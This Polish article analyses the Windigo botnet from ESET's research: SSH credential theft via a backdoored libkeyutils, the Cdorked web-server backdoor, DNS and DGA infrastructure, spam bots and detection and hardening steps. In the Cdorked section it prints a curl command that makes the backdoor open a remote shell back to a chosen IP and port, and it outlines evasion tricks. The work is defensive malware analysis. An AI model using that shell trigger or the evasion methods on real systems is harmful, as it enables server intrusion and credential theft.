Kto i po co stworzył jeden z najbardziej skomplikowanych botnetów w historii?

Dziesiątki tysięcy zainfekowanych systemów, armia botów w największych serwerowniach świata gotowych do zmasowanego ataku na każde życzenie swojego anonimowego mocodawcy, w wolnym czasie wysyłająca spam oraz serwująca malware.

Zaczęło się dosyć niewinnie. W 2011 roku wykryto ataki na serwery dużych organizacji w tym cPanel oraz kernel.org, w tym także te zawierające kody źródłowe jądra Linuksa. Badaczy bardzo dziwiło, że nie doszło do modyfikacji kodu źródłowego linuksowego kernela, a „jedynie” do modyfikacji plików związanych z ssh (openssh, openssh-server i openssh-clients). Dalej było już z górki, do stycznia 2014 roku odkryto 25 000 zainfekowanych serwerów (w tym OpenBSD, FreeBSD, Apple OS X, Microsoft Windows (poprzez Cygwina), oraz Linux, zarówno w wersji x86 jak i ARM), 35 milionów sztuk spamu dziennie, pół miliona infekowanych komputerów dziennie (odwiedzających niezainfekowane strony www) poprzez exploit packi, a to wszystko to ułamek umiejętności botnetu, który do zarażania serwerów nie używa żadnych znanych czy nieznanych podatności, a jedynie wykradziony login i hasło. Badacze podkreślają, że twórcy posiadają bardzo dużą wiedzę z zakresu działania systemów linuksowych oraz postarali się o dużą elastyczność botnetu pod kątem tego na jakim systemie i z jakimi uprawnieniami będzie on działał. Dostosowali kod do praktycznie wszystkich najpopularniejszych środowisk (np. tylna furtka dla http obsługiwała nie tylko Apache, ale również nginx czy Lighttpd).

Dawno, dawno temu…

Analizą botnetu zajął się w na początku 2012 roku ESET wraz z organizacjami CERT-Bund, Swedish National Infrastructure for Computing i Europejską Organizacją Badań Jądrowych CERN. Otrzymali oni próbki malware atakującego serwery linuksowe do analizy, w trakcie której okazało się, że dostarczone złośliwe oprogramowanie ma wiele wspólnych elementów, a ilość rozpoznanych infekcji dochodzi do około 1000. Patrząc nawet pobieżnie po naszych wcześniejszych artykułach taka liczba nie robi na nikim większego wrażenia. Jednak zainfekowane systemy to serwery, posiadające zdecydowanie więcej potencjalnych użytkowników (czy klientów), przepustowości, wydajności niż komputery zombie, więc praktycznie każdy atak DDoS czy kampania spamowa będzie zdecydowanie skuteczniejsza niż przy użyciu nawet o rząd wielkości większego botnetu złożonego z komputerów osobistych.

Układanka

Powiązania pomiędzy elementami botnetu Windigo

Zadania jakie mają serwery w ramach botnetu badacze podzielili na kilka części, w zależności od pełnionej funkcji jak i wykorzystywanego kodu:

• Linux/Ebury – działający głownie na serwerach linuksowych, umożliwiający dostanie się do systemu przy pomocy zaszytej tylnej furtki jak i zbierający dane do logowania SSH.
• Linux/Cdorked – działa głównie na serwerach WWW, podobnie jak poprzedni, zapewnia tylną furtkę do systemu operacyjnego oraz serwuje klientom windowsowy malware w ramach proxy pomiędzy użytkownikiem odwiedzającym zainfekowany serwer, a serwerem www.
• Linux/Onimiki – uruchamiany na linuksowych serwerach DNS. Rozwiązuje nazwy wg zadanych schematów na adresy IP. Co ważne, nie wymaga żadnej zmiany w konfiguracji macierzystego serwera DNS.
• Perl/Calfbot – lekki bot wysyłający spam napisany w Perlu, wymagający do działania tylko minimalnego środowiska perlowego.
• Win32/Boaxxe.G – to już malware działający pod kontrolą systememu Windows, zajmuje się kradzieżą kliknięć w reklamy (ang. click fraud) oraz przeznaczony również dla Windows Win32/Glupteba.M, służący jako proxy głównie do wysyłania spamu. Oba te złośliwe pliki są rozpowszechniane wśród użytkowników przez Linux/Cdorked.

Podczas analizy zainfekowanych hostów badacze zauważyli, że większość serwerów zainfekowanych przez Linux/Cdorked było zainfekowanych również przez Linux/Ebury, a serwery C&C (command and control – serwery zarządzające zainfekowanymi węzłami botnetu) dla Win32/Glupteba.M i Perl/Calfbot są serwerami posiadającymi również Linux/Ebury. Dodatkowo większość spamu dystrybuowanego przez Win32/Glupteba.M pokrywała się z tym wysłanym przez Perl/Calfbot, podobne zależności można było znaleźć bezpośrednio w kodzie malware.

Kranik z hasełkami…

Tak jak wspomnieliśmy na początku, botnet rozprzestrzenia się tylko i wyłącznie przez wykradzione dane do logowania użytkownika przez SSH. Linux/EBury pozyskuje te dane w dwojaki sposób: w momencie gdy użytkownik loguje się do zainfekowanego serwera, albo gdy loguje się do innego systemu z zainfekowanego serwera. Wszystkie zebrane w ten sposób dane są przesyłane do serwerów zarządzających poprzez odpowiednio spreparowane zapytania DNS. Wykradane są również klucze SSH oraz hasła do nich, nie są one jednak wysyłane poprzez zapytania DNS (ze względu na wielkość), a trzymane w pamięci serwera, do późniejszego pobrania.

Schemat wycieku haseł bota Linux/Ebury

Do przejętych serwerów atakujący nigdy nie logowali się bezpośrednio, zawsze połączenia przechodziły przez tunele działające na innych serwerach wchodzących w skład botnetu, co czyniło ich zlokalizowanie praktycznie niemożliwym. Tą samą drogą również weryfikowany był poziom uprawnień jaki został przez nich pozyskany. W przypadku gdy nie były to uprawnienia roota, serwer albo był porzucany, bądź infekowany Perl/Calfbot’em. W przypadku uprawnień roota, serwer infekowany był przez Linux/Ebury, na wypadek, gdyby hasło zostało zmienione.

Jeśli przejęty serwer hostował strony www, najczęściej dodatkowo infekowany był poprzez Linux/Cdorked, a jeśli udostępniał dodatkowo HTTPS osiągalny bez ograniczeń z internetu, instalowany był odwrotny proxy nginx, pełniący rolę furtki do zarządzania Perl/Calfbot.

Powyższe pokazuje, jak atakujący starali się zmaksymalizować korzyści wynikające z przejęcia serwera w jak najbardziej niezauważalny sposób  jak i zostawiali sobie jak największa ilość tylnych furtek, aby nie stracić raz pozyskanego serwera.

ESET kilkukrotnie posiłkował się zrzutami ruchu sieciowego od różnych operatorów, aby określić skalę infekcji botem zbierającym hasła. Podczas całego monitorowanego okresu (do stycznia 2014), zaobserwowali ponad 26 tys. unikalnych adresów IP, a ostatni zrzut pomiędzy październikiem 2013 a styczniem 2014 wykazał prawie 4000 nowych adresów. Wśród zaobserwowanych hostów najwięcej, bo ponad 10 000, hostów zaobserwowano w USA, kolejne były Niemcy z 2,5 tysiącem hostów i Francja (blisko 1,5 tys. ). Takie rozłożenie wydaje się mieć bezpośredni związek z tym, że w tych właśnie krajach znajduje się znacząca większość najpopularniejszych firm udostępniających usługi kolokacji, serwerów wirtualnych czy dedykowanych.

Linux/Ebury geolokacja zainfekowanych serwerów

Warte zaznaczenia jest, że jednym z zainfekowanych serwerów był jeden z oficjalnych mirrorów Centos’a. Na szczęście żadna z paczek nie została podmieniona (najprawdopodobniej ze względu na to, że zarządzający botnetem doskonale wiedzieli, ze RPMy Centos’a są cyfrowo podpisywane i tylko ułatwiłoby to wykrycie infekcji).

Przez 5 dni badacze obserwowali serwery służące do wyprowadzania danych, zawierające wykradzione hasła. W tym czasie zanotowali 5362 unikalne logowania pochodzące z 2840 różnych adresów IP. Do tego celu użyte było 2145 różnych haseł. Spośród powyższych 2221 logowań było na konta roota. Analizując unikalne hasła, zwrócili oni głównie uwagę na fakt, że średnia długość hasła wynosiła 11 znaków (minimalna 3, maksymalna 50), co jest wartością na tyle dużą, że ich łamanie siłowe nie ma zbytnio sensu (33% z nich zawierało przynajmniej 1 znak specjalny).

Tylna furtka OpenSSH

Niezauważalne wstawianie tylnej furtki do SSH nie jest łatwym zadaniem, szczególnie w sposób, który trudny byłby do wykrycia. Dlatego tez Linux/Ebury po wersji 1.1.0 przestał podmieniać oryginalne pliki (sshd, ssh i ssh-agent), a zaczął podmieniać biblioteki współdzielone przez te pliki binarne – konkretnie chodzi o plik libkeyutils.so. O ile umieszczanie złośliwego kodu wewnątrz współdzielonych bibliotek jest znane i popularne w ramach malware przeznaczonego na platformę Windows, o tyle jest to pierwszy przypadek takiego użycia na platformach linuksowych. Atakujący odeszli oni również od każdorazowej rekompilacji biblioteki na infekowanym serwerze, a zaczęli utrzymywać prekompilowane wersje dla większości popularnych wersji i dystrybucji Linuksa.

Obecnie pierwsze stadium infekcji polega na równoległym utworzeniu biblioteki libkeyutils.so.1.9 i aktualizacji oryginalnego linku symbolicznego do wskazania na tę bibliotekę. Jeśli jednak administrator zorientuje się, że taka sytuacja miała miejsce i usunie plik libkeyutils.so.1.9, operatorzy botnetu ponownie próbują połączyć się z serwerem przy pomocy skradzionych danych, tym razem podmieniając oryginalny plik biblioteki. Zarówno w pierwszej jak i drugiej wersji, operatorzy postarali się, aby zaktualizować bazę sygnatur RPM na infekowanym systemie, dzięki czemu komenda:

rpm --verify openssh-server

nie wykaże żadnych problemów. To nie jedyne zabezpieczenia przed wykryciem, twórcy zadbali, aby gdzie tylko to możliwe procesy komunikowały się przy pomocy potoków, unikając w ten sposób zapisywaniu czegokolwiek na dysku twardym. Gdy Linux/Ebury wykrywał, że jakikolwiek interfejs sieciowy przechodził w tryb nasłuchiwania (ang. promiscuous mode), wstrzymywał swoje działanie. Podobnie modyfikacja konfiguracji demona OpenSSH odbywała się w pamięci, a nie na dysku (włączane były opcje PermitRootLogin, PasswordAuthentication oraz PermitEmptyPasswords).

Double U, Double U, Double U – Cdorked

Pierwsze wzmianki o umieszczeniu tylnej furtki w Apache (x86) zostały odkryte w ataku na cPanel i opisane przez Sucuri w kwietniu 2013. Chwilę po publikacji tego opracowania, do badaczy zainfekowani podesłali próbki innych wersji, które wskazały, że operatorzy posługiwali się nie tylko tylną furtką na 32-bitową wersję Apache, ale również 64-bitową, oraz wszystkie wersje Lighttpd oraz nginx. Serwery WWW zainfekowane poprzez Linux/Cdorked działały w znaczącej mierze wg poniższego schematu (ciekawostką było, że adresom IP z których logowali się administratorzy ten schemat nie był udostępniany (utrudniając w ten sposób wykrycie)):

1. Ofiara odwiedza istniejącą i zaufaną stronę internetową na zainfekowanym serwerze, a następnie jest przekierowywana na specjalnie przygotowaną subdomenę lub inną również poprawną domenę. Te przekierowania nie wykazywały schematów które wskazywałyby na ich automatyczne działanie, najczęściej były ręcznie przygotowywane przez operatorów botnetu i przepuszczane poprzez serwery zainfekowane poprzez Linux/Ebury.
2. Zainfekowany (poprzez Linux/Onimiki) DNS zaufanej odwiedzanej domeny przekierowuje przez odpowiednie wpisy DNS przez serię serwerów odwrotnych proxy.
3. Z tak ukrytego serwera z exploit packami następuje próba infekcji, w przypadku gdy żaden ze sposobów nie odnosi sukcesu – wyświetlana jest reklama (najczęściej serwisów pornograficznych).

Schemat przekierowan Linux/Cdorked

Podobnie jak tylna furtka OpenSSH, tak i ta nie przechowywała na dysku żadnej konfiguracji, jak i nie logowała swojej obecności w syslogu (jak i również w logach serwera www nie pojawiały się wpisy dotyczące przekierowań). Linux/Cdorked umożliwiał również uzyskanie zdalnej powłoki  poprzez wykonanie poniższego zapytania do zainfekowanego serwera:

curl -H "X-Real-IP: XXX.XXX.XXX.XXX" -i -s http://192.168.56.101:8080/?favicon.iso?$(python -c 'print "GET_BACK;192.168.56.1;4444".encode("hex")')

Historia pewnego spamu

Perl/Calfbot oraz Win32/Glupteba.M to dwa moduły używane tylko i wyłącznie do wysyłania spamu. Do zebrania poniższych informacji badacze posłużyli się zarówno podstawionym botem, jak i analizą ruchu sieciowego z serwera C&C.

Przez okres od sierpnia 2013 do lutego 2014 udało im się utrzymać fałszywego bota stworzonego na podstawie kodu w Perlu i otrzymywać od serwerów C&C poprawne zlecenia do wysyłki spamu. Łącznie otrzymali oni w powyższym okresie czasu 13,5 tys. różnych zadań, wysyłki do 20 683 814 unikalnych adresów e-mail.

Domeny na który wysłał SPAM botnet Windigo

Większość z wysyłanego spamu dotyczyła hazardu, promocji (również tej mierzonej w dodatkowych centymetrach :) ), oraz serwisów randkowych. Twórcy zadbali o jakość spamu (był on w większości pisany poprawnym językiem angielskim, zaobserwowano również francuskie, niemieckie, rosyjskie i hiszpańskie odmiany), dlatego też można było z sukcesem kliknąć w linki takie jak „unsubscribe” czy „report SPAM”, i jednocześnie nieświadomie potwierdzić, że adres na który spam został wysłany, działa i jest używany przez człowieka.

Analiza ruchu zebrana w trakcie trzech 24 godzinnych okresów z tygodniowym odstępem w styczniu 2014, wskazuje, że najwydajniejsze z serwerów były w stanie wysłać około miliona wiadomości dziennie, co biorąc pod uwagę, że analizowany ruch obejmował około 35 milionów wiadomości dziennie, jest bardzo dobrym wynikiem.

Przykłady wysyłanego SPAMu

Aby uniknąć umieszczenia na czarnej liście nie wszystkie z zainfekowanych adresów IP były używane cały czas. Zmieniały się one w cyklu tygodniowym (mniej więcej połowa z nich się pokrywała, połowa była zmieniana), w tym samym cyklu usuwane były boty, które nie raportowały do serwerów C&C skutecznie wysłanych wiadomości.

Komunikacja pomiędzy nimi odbywała się przy pomocy HTTPS, natomiast badacze byli w stanie rozszyfrować tę komunikację i sprowadzić ją do HTTP, stąd również wyciągnęli sporo ciekawych informacji statystycznych dotyczących hostów na których pracowały serwery raportujące do C&C. Na podstawie zmiennej User-Agent zidentyfikowali 1888 hostów linuksowych, 61 działających na różnych wersjach systemów BSD, 19 OSX, oraz 2 Windowsy (poprzez Cygwina). Jako ciekawostkę należy dodać dwie rozpoznane infekcje systemów pracujących w architekturze ARM. Do serwerów C&C wysyłane były również informacje na uprawnieniach jakiego użytkownika działa bot. Tylko niewielka ilość botów działała pod kontami roota – to uwiarygodniło wcześniej wspomnianą teorię, że tam, gdzie z konta użytkownika nie byli w stanie wyciągnąć więcej danych, używali go do spamowania.

Na kontach jakich użytkowników działal Perl/Calfbot

Słów kilka o Perl/Calfbot

Używany do wysłania spamu bot był napisany w czystym Perlu (673 linie kodu), bez używania zewnętrznych modułów (w najnowszej wersji zamiast polegać na module MIME::Base64encode_base64, twórcy skopiowali jego najważniejsze fragmenty do swojego kodu, odpowiednio zaciemniając kod oraz zmienne). Aby maksymalnie go odchudzić, a jednocześnie uczynić działającym praktycznie na każdej platformie, twórcy polegali na wbudowanych narzędziach systemowych jak curl, fetch czy wget. Badaczom udało się pozyskać najnowszą wersję nr 41 (poprzez podstawionego klienta) opublikowaną 12 grudnia 2013 roku. Na podstawie analizy tej i wcześniejszych wersji, znaleźli np. wersję 27 i 36 na pastebin’ie.

Tak jak wspominaliśmy wcześniej, bot ten działał na systemach zarówno tam, gdzie posiadał uprawnienia roota, jak i w pozostałych przypadkach (a jeśli posiadał, to zrzucał je i działał jako inny użytkownik). Zaraz po pobraniu do pliku „/tmp/ ” (nazwa pliku była spacją) i uruchomieniu, był kasowany z systemu plików i działał tylko i wyłącznie w pamięci operacyjnej, a dla niepoznaki ukrywał się pod procesem /usr/bin/crond. Jak można się domyślić, działając tylko w pamięci operacyjnej bot ten nie był w stanie przetrwać restartu serwera. Utrudniało to jego analizę, gdyż jeśli ktoś chciał zrobić zrzut serwera do analizy, a nie zrobił zrzutu pamięci operacyjnej, niszczył (prawie) wszystkie ślady jego obecności. Mając jednak dostęp do niezmienionych danych użytkownika, zarządzający botnetem, infekowali serwer ponownie. Bot również ulegał samodestrukcji, gdy nie był w stanie przez 24 godziny skomunikować się z serwerem C&C i nie przyświecała mu idea „Get Rich or Die Tryin” (wzbogać się lub zgiń próbując), gdy wysyłka spamu była mało efektywna, również ulegał samodestrukcji.

Infrastruktura DNS

W lipcu 2013 badacze byli w stanie pozyskać bazę danych z jednego z serwerów TinyDNS zawierającą około 62 tysiące unikalnych domen. Domeny te używane były zarówno w kampaniach spamowych jak i jako sposób wymiany informacji pomiędzy serwerami C&C. Autorytatywne serwery DNS pracowały na serwerach zainfekowanych przez Linux/Ebury. Tak duża ilość zarejestrowanych i opłaconych domen zwiększała skuteczność rozsyłanego spamu, jak i utrudniała zdemaskowanie poszczególnych kampanii. DNSy były używane również do informowania o lokalizacji serwerów C&C, przesyłania przechwyconych haseł, oraz poprawnej konfiguracji rekordów SPF i MX, w celu zwiększenia reputacji wysyłanego spamu.

Oprócz własnych domen, właściciele botnetu posiłkowali się również poprzez Linux/Onimiki i jego modyfikację pliku binarnego serwera DNS BIND domenami obsługiwanymi przez przejęte serwery. Korzystali przy tym z reputacji tych domen do wysyłania spamu, czym unikali wpadnięcia na czarne listy (subdomeny zmieniane były co godzinę, jak również dosyć często zmieniały się adresy IP na które wskazywały, co dodatkowo automatycznym filtrom utrudniało powiązanie tych faktów a tym samym skuteczne działanie). Nie ograniczali przy tym standardowych funkcji DNS’a, czym ponownie utrudniali wykrycie. I znów – podobny schemat działania jak wcześniejszych wersji, żadne pliki konfiguracyjne nie były przechowywane na dyskach twardych.

Pierwszy algorytm DGA (ang. domain generation algorithm, algorytm generowania domeny), odkryty i rozpracowany przez badaczy wiosną 2013, zaraz po publikacji raportu, został przez twórców botnetu zmieniony na bardziej wyrafinowany. Tym razem wersja skrócona otrzymała postać:

 [a-z0-9]{23}.mywebsite.com (np. b9kpa7mvpfpdencbf3uarrx.mywebsite.com)

Po przeprowadzeniu analizy inżynierii wstecznej udało się ustalić zależności pomiędzy elementami. Twórcy w pierwszej kolejności uodpornili DGA na modyfikację odpowiedzi na zapytanie, posłużyła do tego suma kontrolna.

W powyższym przykładzie, ostatnie dwa znaki „rx” są używane jako ziarno dla generatora pseudolosowego, którego działanie generuje trzy tablice z liczbami od 0 do 21, które są indeksami znaków które należy ze sobą połączyć, zgodnie z poniższym bardziej szczegółowym wyjaśnieniem.

Druga wersja DGA

Po zdekodowaniu (w kolejności przypadkowej), znaków przy pomocy kodowania Base36, badacze otrzymali jawną postać:

custom_base36_decode(‘rx’, ‘pf93bpu’) # 0x54e9c32e # 84.233.195.46 
custom_base36_decode(‘rx’, ‘p7ekmvd’) # 0x52cde51c # Wed Jan 8 18:54:04 2014 
custom_base36_decode(‘rx’, ‘acrbfna’) # 0xe147e83d

Znacznik czasu niezbędny był do określenia jak długo domena ma działać (twórcy ograniczyli ten czas do 24 godzin, 18 przed i 6 po znaczniku czasu).

Zmianie uległa również długa wersja subdomeny (domena krótka wskazywała na długą, która to wskazywała na konkretną zainfekowaną ofiarę). W nowej wersji wygląda ona następująco:

b9kpa7mvpfpdencbf3uarrx50695382f63553e9f46a4904e6253e6a2.mywebsite.com

Badaczom niestety nie udało się do czasu publikacji zdekodować tego formatu (bądź też, nie chcąc popełnić poprzedniego błędu, gdzie twórcy zmienią schemat działania, świadomie nie ujawniają tego), gdyż nie jest ona jak wcześniej przetwarzana przez Linux/Onimiki .

Zainfekowani użytkownicy

Przez jeden wrześniowy weekend (2013), badacze byli w stanie przechwycić ruch z serwera będącego pierwszym w hierarchii serwerem odwrotnego proxy Linux/Cdorked. W tak krótkim okresie zauważono 1,1 mln różnych adresów IP przekierowanych do exploit packów. Na tej podstawie udało się sklasyfikować profile użytkowników, ich systemy operacyjne jak i przeglądarki.

Rozkład użytkowników wg. systemów operacyjnych jacy odwiedzali strony zainfekowane przez Linux/Cdorked

Rozkład użytkowników wg. przeglądarek

Twórcy botnetu, w początkowej fazie infekowali przy pomocy exploit packa Blackhole, ale po zatrzymaniu jego autora Punch’a, przerzucili się na Neutrino. Ponieważ końcowy infekujący plik wysyłany przez Blackhole nie był szyfrowany, badacze mogli zbadać współczynnik infekcji który wynosił około 1%, co daje co najmniej 11 tysięcy zainfekowanych komputerów. Gdy zestawimy to z informacją, że dane pochodzą tylko z jednego monitorowanego serwera i tylko dwudniowym czasem zbierania próbek, daje to ogromną skalę, nawet mimo niewielkiej skuteczności. Twórcy botnetu zadbali również o to, by nie próbować infekować komputerów (sandboxów) należących do firm zajmujących się bezpieczeństwem sieciowym, wiele ich adresacji IP zostało wyfiltrowanych przez operatorów botnetu i tym sposobem nie otrzymywali oni złośliwego kodu z Blackhole czy Neutrino.

Oprócz powyższej filtracji zupełnie inaczej traktowane są ofiary pochodzące z Australii, Kanady, USA czy Wielkiej Brytanii, którzy to infekowani są w większości poprzez Win32.Boaxxe.G, podczas gdy pozostała część kuli ziemskiej otrzymuje Win32/Glupteba.M. Ta druga odmiana, dystrybuowana jest jako instalator NSIS (Skryptowy System Instalacji Nullsoft (ang. Nullsoft Scriptable Install System)) i pozostawał w systemie jako usługa NVIDIA Update Server. Jako pierwsze działanie, malware komunikuje się po HTTP z losowo z zapisanych na stałe (ale dla każdego przypadku infekcji innymi) 100 adresami IP (dla zmylenia prób automatycznego blokowania tej komunikacji, są tam zapisane również adresy IP wielu popularnych instytucji). Po zgłoszeniu swojego istnienia do serwera C&C, bot zaczyna pracować jako serwer proxy do wysyłania spamu, weryfikując wcześniej czy ma ku temu możliwość, wysyłając zapytanie GET do http://www.google.com/robots.txt, oraz żądanie na port 25 do jednego z serwerów zainfekowanych przez Linux/Ebury. Nie używa on portów innych niż 25, stąd może to tłumaczyć, dlaczego jest on używany poza krajami w których operatorzy powszechnie wdrożyli blokowanie wychodzącej komunikacji SMTP na porcie 25.

Win32.Boaxxe.G serwowany głównie we wspomnianej w poprzednim akapicie czwórce krajów, ma za zadanie kraść kliknięcia użytkowników, bądź je generować. Instalowany jest podobnie jak poprzednik poprzez NSIS, natomiast w tym przypadku lokowany jest w losowo nazwanej bibliotece dll. Wcześniejsza wersja Win32.Boaxxe.BE instalowała rozszerzenie w przeglądarkach Google Chrome oraz Mozilla Firefox, oraz modyfikowała zawartość pamięci Internet Explorera w funkcjach API HttpAddRequestHeadersA, CreateWindowExW oraz DrawTextExW.

Schemat infekcji przez malware Win32.Boaxxe.BE

Win32.Boaxxe.G polega już tylko na modyfikacji pamięci przeglądarek. Jest to rozwiązanie mniej skuteczne, gdyż są mniej odporne na zmianę wersji przeglądarki (dla przykładu w momencie publikacji raportu, malware nie wspierał Firefoxa w wersji 27 oraz Chrome w wersji 32). I w takim wypadku mogą oni posłużyć się zaszytymi w kodzie modyfikacjami DNS Cache wszystkich trzech przeglądarek. Analogicznie do wcześniejszych pomysłów utrudniających wykrycie i tutaj twórcy zadbali o to, by nie wzbudzać podejrzeń i nie wstrzykiwać swojego kodu w strony Wikipedii, Facebook’a oraz Twittera.

OMFG! Czy jestem zainfekowany?

Dla wszystkich chcących dowiedzieć się czy są zainfekowani, ESET udostępnił na github’ie ciągle aktualizowane modele IOC (ang. indicators of compromise), które mają pomóc w automatycznym wykryciu przez oprogramowanie SNORT czy YARA. Można to też zrobić mniej lub bardziej ręcznie, jednak metody te są aktualne na tyle, na ile twórcy botnetu nie wyślą aktualizacji uodparniającej na nie.

Linux/Ebury można zlokalizować na dwa sposoby. Pierwszy to weryfikacja czy ssh udostępnia przełącznik -G który to nie występuje w standardowej wersji SSH, tak więc wywołanie ssh -G powinno skutkować uzyskaniem komunikatu (każdy inny przypadek, powinien wzbudzić wasz niepokój):

ssh: illegal option -- G

Kolejną jest analiza współdzielonych segmentów pamięci (SHM), jeśli wykryjecie u siebie jakiś segment należący do roota, o dosyć szerokich uprawnieniach (np. 666 czyli – odczytywalne i zapisywalne przez wszystkich), a dodatkowo zajmujący ponad 3MB pamięci, i jego twórcą jest proces sshd, to macie kolejny powód do obaw.

Analiza współdzielonych segmentów pamięci Linux/Ebury

Linux/Cdorked może być zidentyfikowany na kilka sposobów, pierwszym i najprostszym jest odpytanie własnego serwera o lokalizację favicon.iso, która to przekierowuje wszystkie zapytania do Google, stąd jeśli takie wykonanie curla zwróci wam Google.com, to możecie mieć powody do zmartwień:

curl -i http://server/favicon.iso | grep "Location:" Location: http://google.com/

Dalszym krokiem powinna być podobnie jak w przypadku Ebury analiza pamięci współdzielonych, w tym wypadku jednak należy poszukiwać procesów dzielących pamięć z Apache, Lighttpd albo nginx. Należy jednak zachować szczególną ostrożność, gdyż np. suPHP również współdzieli pamięć z serwerem www i jest to w pełni normalne zachowanie.

Linux/Onimiki ukrywa się jedynie w zmodyfikowanym pliku binarnym BIND’a, stąd jego analiza możliwa jest poprzez wykonanie wspomnianej wcześniej udostępnionej przez ESET reguły YARA:

yara windigo-onimiki.yar /usr/sbin/named

Brak wyników oznacza spokojny sen :).

Perl/Calfbot zakłada blokadę na plik „/tmp/…”, wiec jego odnalezienie sugerować może, że serwer jest lub był zainfekowany przez Perl/Calfbot (ponieważ bot nie przeżywa restartu, data utworzenia pliku, będzie datą infekcji). Jeśli jednak istnieje, to warto sprawdzić czy jakiś proces jest jego właścicielem, poprzez wywołanie komendy `lsof /tmp/…` . Jeśli jest nim crond, to znów możecie sprawdzić, czy prowadzi on do prawdziwego procesu czy do „/tmp/ „, można tego dokonać przy pomocy komendy

pgrep -x "crond" | xargs -I '{}' ls -la "/proc/{}/exe"

jeśli nie możecie doinstalować u siebie pgrep’a można zastąpić pgrep -x „crond” poprzez

ps -ef | grep crond |grep -v grep | awk '{print $2}'

I got screwed!

Jeśli zostałeś zainfekowany przez którykolwiek ze wspomnianych w poprzedniej sekcji malware, zalecamy w każdym wypadku pełną reinstalację systemu. Wśród administratorów krąży całkiem poprawne twierdzenie, że system w którymś ktoś uzyskał roota już nigdy nie będzie w 100% Twój, więc bezpieczniej i pewniej jest go postawić od początku. To niestety nie wszystko!

Istotne jest również, by zdać sobie sprawę, że wszystkie hasła używane przez wszystkich użytkowników jak i administratorów wyciekły. Co więcej, wyciekły również hasła, których używali oni do logowania się na inne serwery z tego zainfekowanego bez względu na to – czy były to próby udane czy nie! Należy również założyć, że wyciekły również wszystkie klucze ssh i hasła do nich używane. Niezbędne jest również zapewnienie, by żaden z użytkowników nigdy nie użył ponownie hasła które już w zainfekowanym systemie było użyte, do tego mogą być Ci pomocne moduły cracklib oraz passwdqc.

Jak się bronić?

Nie istnieje metoda zapewniająca 100% skuteczności, bo zawsze może się zdarzyć, że jakiś użytkownik przyprowadzi za sobą choćby Calfbot’a logując się z zainfekowanego serwera. Poniższe metody to szansa na zwiększenie swojej szansy w walce z Windigo.

1. Wyłączyć opcję zdalnego logowania roota (PermitRootLogin) w sshd.
2. Wyłączyć opcję logowania się przy użyciu haseł, i używać tylko i wyłącznie kluczy ssh.
3. Zamiast kopiować swoje klucze prywatne na serwery, używać opcji SSH Agent Forwarding.
4. Używać opcji uwierzytelniania dwuskładnikowego (choćby poprzez Google Authenticator).
5. Używać systemów HIDS (ang. Host-based Intrusion Detection System) (polecamy darmowy ale potężny OSSEC) lub NIDS (ang. Network-based Intrusion Detection System), które potrafią wykrywać nie tylko rozbieżności w schematach, ale również na podstawie sum kontrolnych wykryć modyfikację plików binarnych systemu operacyjnego.

To jest jakaś masakra, kto za tym wszystkim stoi?!

Badacze stawiają tutaj duży znak zapytania (a właściwie cały dokument to duże milczenie na ten temat).

Po jednej stronie możemy postawić:

• zaawansowany poziom wiedzy na temat dużej ilości systemów operacyjnych, ich sposobie działania i dostępnych narzędziach,
• doskonała znajomość wielu języków programowania,
• bardzo dobra wiedza kryptograficzna,
• szybkość reakcji na zmiany.

To wszystko nie sugeruje by była to pojedyncza osoba.

Po drugiej stronie:

• stosunkowo nieduża skala specyficznej infekcji (przecież botnet mógłby się rozprzestrzeniać choćby poprzez znane luki w popularnych skryptach php umożliwiających uzyskanie dostępu do powłoki znacząco zwiększając swój zasięg, czy nawet odgadywanie hasła roota przy posiadaniu uprawnień użytkownika lokalnego (czy poprzez sudo), czy idąc dalej lokalne root exploity),
• niejasny model biznesowy (powiedzmy sobie szczerze, że nawet tak skuteczny spam jak i oszukiwanie przy kliknięciach w reklamy to nie są góry złota).

Zatrudnienie zaawansowanych programistów, którzy zapewne zaraz po publikacji raportu przez ESET’a (podobnie jak to miało miejsce po próbie przejęcia kontroli nad botnetem przez Dr Web (po rozpracowaniu DGA spróbowali oni wykonać sinkholing)), zabrali się ostro do pracy, aby poprawić wszystkie „wytknięte” im błędy, kosztuje duże pieniądze, a nie widać na czarnym rynku próby sprzedaży gotowców jak to miało w przypadki innych narzędzi jak Zeus czy SpyEye.

Wydaje nam się, że jeszcze nie raz usłyszymy o tym botnecie. Przeczucie mówi, że ten niespójny model biznesowy to tylko przykrywka dla czegoś większego jak np. botnet stworzony przez/dla rządu jakiegoś kraju. A co Wy o tym myślicie?

Aktualizacja 13.04.2014: Zgodnie z przewidywaniami, autorzy botnetu zaktualizowali bota Linux/Ebury, w taki sposób, by naprawić kilka wytkniętych im błędów, w szczególności ten związany z szerokimi uprawnieniami pod którymi działał proces (dla przypomnienia 666 (czyli – odczytywalne i zapisywalne przez wszystkich)).